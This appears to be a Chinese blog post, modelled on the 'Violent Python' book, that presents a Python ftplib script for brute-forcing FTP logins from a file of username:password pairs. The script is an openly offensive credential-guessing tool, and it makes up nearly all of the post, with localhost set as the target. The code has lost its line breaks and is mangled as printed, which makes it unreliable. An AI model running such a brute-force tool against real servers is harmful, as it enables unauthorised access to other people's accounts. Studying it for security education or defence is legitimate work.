口令"/>
Violent Python FTPlib暴力i破解FTP用户口令
# coding=UTF-8
# time: 18-1-5: 上午11:12
# Author: Xifeng2009
'''
FTPlib暴力i破解FTP用户口令
口令以“用户名:密码”对的方式存储在txt文件中
'''
import ftplibFound = Falsedef bruteLogin(hostname, passwdFile):global FoundpF = open(passwdFile, 'r')for line in pF.readlines():userName = line.split(':')[0]passWord = line.split(':')[1].strip('\r').strip('\n')print("[+] Trying: " + userName + "/" + passWord)try:ftp = ftplib.FTP(hostname)ftp.login(userName, passWord)print("\n[*] " + str(hostname) + "FTP Logon Succeeded: "+ userName + "/" + passWord)ftp.quit()Found = Truereturn (userName, passWord)except Exception as e:print(str(e))passif Found == False:print("\n[-] Could not brute force FTP credentials.")return (None, None)host = '127.0.0.1'
passwdFile = 'test.txt'
bruteLogin(host, passwdFile)
更多推荐
Violent Python FTPlib暴力i破解FTP用户口令
发布评论